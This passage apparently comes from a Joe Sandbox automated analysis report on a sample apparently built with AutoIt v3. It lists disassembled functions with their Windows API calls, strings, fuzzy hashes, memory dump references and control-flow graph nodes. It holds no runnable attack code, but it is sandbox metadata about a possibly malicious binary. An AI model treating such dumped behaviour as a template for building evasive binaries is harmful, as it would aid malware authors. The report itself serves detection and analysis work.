      • Opcode Fuzzy Hash: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
      • Instruction Fuzzy Hash: 3A2164B1810308EFDB10DFA4D889BDEBBF4FB08726F00452AE642A62D1D7B59548CF54
      Function 00430DCB Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 250comCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • OleInitialize.OLE32(00000000), ref: 00430E15
      • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430E32
      • CoCreateInstance.COMBASE(?,00000000,00000005,0045AFF8,?), ref: 00430E71
      • CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00430F05
      • CoCreateInstanceEx.COMBASE(?,00000000,00000010,?,00000001,?), ref: 0043103D
      • CoSetProxyBlanket.COMBASE(?,?,?,?,?,?,?,00000800), ref: 00431078
      Strings
      • NULL Pointer assignment, xrefs: 00431096
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CreateInitializeInstance$BlanketFromProgProxySecurity
      • String ID: NULL Pointer assignment
      • API String ID: 628432406-2785691316
      • Opcode ID: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
      • Instruction ID: e386be8ca80e5d29cc4fe2e7b532a083d7082a5dc51ef75c75596564310f3180
      • Opcode Fuzzy Hash: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
      • Instruction Fuzzy Hash: 7A91157290020CEFDF10EFA5DC81ADE7BB8FB08358F10462AF915A7251E7799D858B94
      Function 0041F7E3 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 208COMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • DestroyWindow.USER32(?), ref: 0041F81C
      • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0041F82A
      • UnregisterHotKey.USER32(?), ref: 0041F860
      • FindClose.KERNEL32(?), ref: 0041F8D9
      • FreeLibrary.KERNEL32(00000000), ref: 0041F935
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CloseDestroyFindFreeLibrarySendStringUnregisterWindow
      • String ID: close all$#v
      • API String ID: 1715252816-3101823635
      • Opcode ID: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
      • Instruction ID: 3646f2384ccb1e0e64c597d038a8f1cfb5bbf3df6652e1d2dd11040289734faa
      • Opcode Fuzzy Hash: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
      • Instruction Fuzzy Hash: 4F712F312401589BDB31BF26DC81AED7766AF91315F40017FF8099B172CF395E9ADA48
      Function 0040EA76 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 877 40ea76-40eac5 GetVersionExW call 4493b8 880 40eacb-40eb69 877->880 881 40ebce-40ebd1 877->881 882 40eca7-40ecc4 880->882 883 40eb6f-40eb7b 880->883 884 40ebd3-40ebd7 881->884 885 40ebbe-40ebc9 881->885 889 40ecc6-40ecc9 882->889 890 40ecf7 882->890 886 40eb81-40eb82 883->886 887 40ec97-40eca5 883->887 891 40ebe9-40ebfb call 449154 884->891 892 40ebd9-40ebe2 884->892 885->884 888 40ebcb 885->888 893 40ec33-40ec3f 886->893 894 40eb88-40eb89 886->894 895 40ecfe-40ed20 GetCurrentProcess call 40edd4 887->895 888->881 896 40ece7-40ecf5 889->896 897 40eccb-40ecce 889->897 890->895 909 40ec01-40ec04 891->909 892->891 898 40ebe4-40ebe7 892->898 901 40ec41-40ec4f 893->901 902 40ec54-40ec57 893->902 894->895 903 40eb8f-40eb9b 894->903 914 40ed22 895->914 915 40ed29-40ed42 895->915 896->895 897->895 904 40ecd0-40ece5 897->904 898->891 898->892 901->895 907 40ec70-40ec73 902->907 908 40ec59-40ec6b 902->908 903->909 910 40eb9d-40ebb9 903->910 904->895 907->895 912 40ec79-40ec95 907->912 908->895 909->895 911 40ec0a-40ec2e 909->911 910->895 911->895 912->895 914->915 916 40ed44-40ed56 call 40ee00 915->916 917 40ed86-40ed90 GetSystemInfo 915->917 926 40ed65-40ed69 916->926 927 40ed58-40ed63 call 40edea GetNativeSystemInfo 916->927 918 40ed72-40ed78 917->918 920 40ed92-40ed96 918->920 921 40ed7a-40ed84 918->921 924 40eda4-40eda8 920->924 925 40ed98-40eda2 920->925 923 40edc1-40edc4 921->923 930 40edc6-40edc9 FreeLibrary 923->930 931 40edcb-40edd3 923->931 928 40edb6-40edbb 924->928 929 40edaa-40edb4 924->929 925->923 933 40ed70 926->933 934 40ed6b-40ed6e FreeLibrary 926->934 927->926 928->923 929->923 930->931 933->918 934->933
      APIs
      • GetVersionExW.KERNEL32(?,00000000,004679CC), ref: 0040EA94
      • GetCurrentProcess.KERNEL32(?), ref: 0040ED0B
      • GetNativeSystemInfo.KERNELBASE(?), ref: 0040ED63
      • FreeLibrary.KERNEL32(?), ref: 0040ED6E
      • GetSystemInfo.KERNEL32(?), ref: 0040ED8A
      • FreeLibrary.KERNEL32(?), ref: 0040EDC9
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: FreeInfoLibrarySystem$CurrentNativeProcessVersion
      • String ID: #v
      • API String ID: 3962325948-554117064
      • Opcode ID: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
      • Instruction ID: f2ba6a2bae675f251a30583b53330f3553dad9bf7d35c900dc6b7b295430e01b
      • Opcode Fuzzy Hash: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
      • Instruction Fuzzy Hash: 3DA1FC30449298CDEF11DF69C4887D53FA49F25308F1844FADC499E29BC2BA9698C7B6
      Function 0040F71A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 164registryCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040F781
      • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 0040F815
      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 0040F83F
      • RegCloseKey.ADVAPI32(?), ref: 0040F92A
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CloseFileModuleNameOpenQueryValue
      • String ID: Include$Software\AutoIt v3\AutoIt$\
      • API String ID: 3617018055-2276155026
      • Opcode ID: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
      • Instruction ID: 50f134da1176b66dbd367ed9ac3c4cf0d0d6e1090dbeac708e74059743c4f1f0
      • Opcode Fuzzy Hash: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
      • Instruction Fuzzy Hash: 60512BB2940718AFD720DFA5C88499BB7F8FF18704F5045AFE54AE3641E734AA44CB58
      Function 0044BE98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 975 44be98-44beea call 44d788 call 44c070 GetVersionExA 980 44beec-44bef2 975->980 981 44bef8-44bf12 GetModuleHandleA 975->981 980->981 982 44bf14-44bf1f 981->982 983 44bf33-44bf36 981->983 982->983 984 44bf21-44bf2a 982->984 985 44bf5f-44bf69 call 44e07d 983->985 987 44bf2c-44bf31 984->987 988 44bf4b-44bf4f 984->988 992 44bf73-44bf7a call 44c499 985->992 993 44bf6b-44bf72 call 44be74 985->993 987->983 990 44bf38-44bf3f 987->990 988->983 991 44bf51-44bf53 988->991 990->983 994 44bf41-44bf49 990->994 995 44bf59-44bf5c 991->995 1000 44bf84-44bf93 call 4502e3 call 4505a6 992->1000 1001 44bf7c-44bf83 call 44be74 992->1001 993->992 994->995 995->985 1008 44bf95-44bf9c call 44be4f 1000->1008 1009 44bf9d-44bfb8 call 4536f2 call 453588 call 4534f2 1000->1009 1001->1000 1008->1009 1018 44bfc2-44bfc9 call 4532bf 1009->1018 1019 44bfba-44bfc1 call 44be4f 1009->1019 1024 44bfd3-44bfe0 call 44ae57 1018->1024 1025 44bfcb-44bfd2 call 44be4f 1018->1025 1019->1018 1030 44bfe2-44bfe8 call 44be4f 1024->1030 1031 44bfe9-44c002 GetStartupInfoW call 453279 1024->1031 1025->1024 1030->1031 1036 44c004-44c008 1031->1036 1037 44c00a-44c00c 1031->1037 1038 44c00d-44c023 GetModuleHandleA call 401852 1036->1038 1037->1038 1041 44c025-44c026 call 44af84 1038->1041 1042 44c02b-44c06b call 44afa6 call 44d7c3 1038->1042 1041->1042
      APIs
      • GetVersionExA.KERNEL32(?,0045B1B8,00000060), ref: 0044BEB8
      • GetModuleHandleA.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044BF0B
      • _fast_error_exit.LIBCMT ref: 0044BF6D
      • _fast_error_exit.LIBCMT ref: 0044BF7E
      • GetStartupInfoW.KERNEL32(?,?,0045B1B8,00000060), ref: 0044BFF0
      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0044C013
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: HandleModule_fast_error_exit$InfoStartupVersion
      • String ID: `#v
      • API String ID: 3067550359-272240289
      • Opcode ID: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
      • Instruction ID: 4397700529556a9b6abbbd61bb681adda0ddf508862c8991d2dc27ae9542f7d9
      • Opcode Fuzzy Hash: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
      • Instruction Fuzzy Hash: F941B670D01310DAEB21AFA69C056AE36A0EF44718F24443FF808DA292DB7CC945DBDD
      Function 004200F5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1049 4200f5-42010b 1050 42012a-420136 1049->1050 1051 42010d-420125 call 41faee 1049->1051 1052 420165-42016b 1050->1052 1053 420138-420155 call 4323fe 1050->1053 1058 420265-420269 1051->1058 1056 4201d0-4201d6 1052->1056 1053->1052 1062 420157-420160 call 421406 1053->1062 1060 4201d8 1056->1060 1061 42016d-420173 1056->1061 1063 4201e6-4201f5 1060->1063 1061->1063 1064 420175-420185 call 42003a 1061->1064 1062->1052 1066 420200-42021f call 42a895 call 406ad8 1063->1066 1067 4201f7-4201fe 1063->1067 1072 420187-420190 call 42036e 1064->1072 1073 4201da-4201e1 call 418a14 1064->1073 1069 420263 1066->1069 1081 420221-420240 call 42026c LockWindowUpdate DestroyWindow 1066->1081 1067->1069 1069->1058 1072->1056 1080 420192-4201ad call 40fc6b 1072->1080 1073->1063 1086 4201b7-4201cb call 4320d3 1080->1086 1087 4201af-4201b5 1080->1087 1088 420256-420261 GetMessageW 1081->1088 1086->1056 1087->1056 1088->1069 1090 420242-420250 TranslateMessage DispatchMessageW 1088->1090 1090->1088
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: LoadString
      • String ID: OnAutoItStart
      • API String ID: 2948472770-779282396
      • Opcode ID: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
      • Instruction ID: 596ddb237f3c4dbc422733f4dbf707e667353c10c10091e38a87b0e8f6c63aa8
      • Opcode Fuzzy Hash: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
      • Instruction Fuzzy Hash: 0C410471B04229ABC715DB74AC84AFFB7ECFB05308F50412BE415D3243EB68AD1687A9
      Function 00401371 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1091 401371-4013e1 CreateWindowExW * 2 ShowWindow * 2
      APIs
      • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,?), ref: 0040139F
      • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004013C0
      • ShowWindow.USER32(00000000), ref: 004013D4
      • ShowWindow.USER32(00000000), ref: 004013DD
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Window$CreateShow
      • String ID: AutoIt v3$edit
      • API String ID: 1584632944-3779509399
      • Opcode ID: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
      • Instruction ID: c1bcc58241d8bb41d686f4cc75eac745dfcef030c9692a37be27f8a629f86a69
      • Opcode Fuzzy Hash: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
      • Instruction Fuzzy Hash: D5F03AB11463747AE6321B536C08EEB2E5DEF867B9F110421F90892160E2A55950CAF9
      Function 0044ADFD Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 1092 44adfd-44ae0a 1094 44ae22-44ae26 ExitProcess 1092->1094 1095 44ae0c-44ae1a GetProcAddress 1092->1095 1095->1094 1096 44ae1c 1095->1096 1096->1094
      APIs
      • GetModuleHandleA.KERNEL32(mscoree.dll,0044AF6B,?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AE02
      • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044AE12
      • ExitProcess.KERNEL32 ref: 0044AE26
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressExitHandleModuleProcProcess
      • String ID: CorExitProcess$`#v$mscoree.dll
      • API String ID: 75539706-966225676
      • Opcode ID: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
      • Instruction ID: 53a9ad44f3a9e6b916fa28b3adb372b4395d43277910e5f1d752cbfe1555cb17
      • Opcode Fuzzy Hash: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
      • Instruction Fuzzy Hash: CBD0C930280701FBEF405B719C0AA2B7A68FE44B47F108C75B819D8263CB78CC10DA2E
      Function 00455359 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
      Download Yara Rule
      APIs
      • CreateFileW.KERNELBASE(80000000,80000000,00000000,0000000C,00000001,00000080,00000000,00000001,00000000,00000000), ref: 00455536
      • GetFileType.KERNELBASE(00000000), ref: 00455543
      • CloseHandle.KERNEL32(00000000), ref: 0045554E
      • GetLastError.KERNEL32 ref: 00455554
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: File$CloseCreateErrorHandleLastType
      • String ID: H
      • API String ID: 1809617866-2852464175
      • Opcode ID: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
      • Instruction ID: 3dea303bc14a8af4d4d0b503b19b291cd52b6a6c41b7bea232f97b06bbe31069
      • Opcode Fuzzy Hash: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
      • Instruction Fuzzy Hash: 02810671804A49AAEF218B94C8653BF7B70AF0231BF24415BEC51A72D3D77C498DCB5A
      Function 00455BA1 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
      Download Yara Rule
      APIs
      • CreateFileA.KERNELBASE(80000000,80000000,0046270C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 00455D7E
      • GetFileType.KERNELBASE(00000000), ref: 00455D8B
      • CloseHandle.KERNEL32(00000000), ref: 00455D96
      • GetLastError.KERNEL32 ref: 00455D9C
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: File$CloseCreateErrorHandleLastType
      • String ID: H
      • API String ID: 1809617866-2852464175
      • Opcode ID: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
      • Instruction ID: 18fb0dc3de688eab9ec8008dfc50e8359a27c51e16112c87510f03193277da9b
      • Opcode Fuzzy Hash: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
      • Instruction Fuzzy Hash: 5D812471804B499AEF228B98C8693BE7B709F0231AF24415BEC51A72D3C77D4A4DC75A
      Function 0041629F Relevance: 7.5, APIs: 5, Instructions: 32serviceCOMMON
      Download Yara Rule
      APIs
      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00479E08,?,0040119C,?,?), ref: 004162B3
      • LockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162C0
      • UnlockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162CB
      • CloseServiceHandle.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162E3
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Service$Database$CloseHandleLockManagerOpenUnlock
      • String ID:
      • API String ID: 3647510317-0
      • Opcode ID: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
      • Instruction ID: 43232d2ce80c1354198d9eaea2583da01791e04a0cef509c89e940ee515f7624
      • Opcode Fuzzy Hash: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
      • Instruction Fuzzy Hash: 49E06D769422209BCB202BB0ACCC9DF3B59A70621371618B2F54292291C729CCC6A66C
      Function 00401904 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNELBASE(uxtheme.dll,00401884), ref: 0040190F
      • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
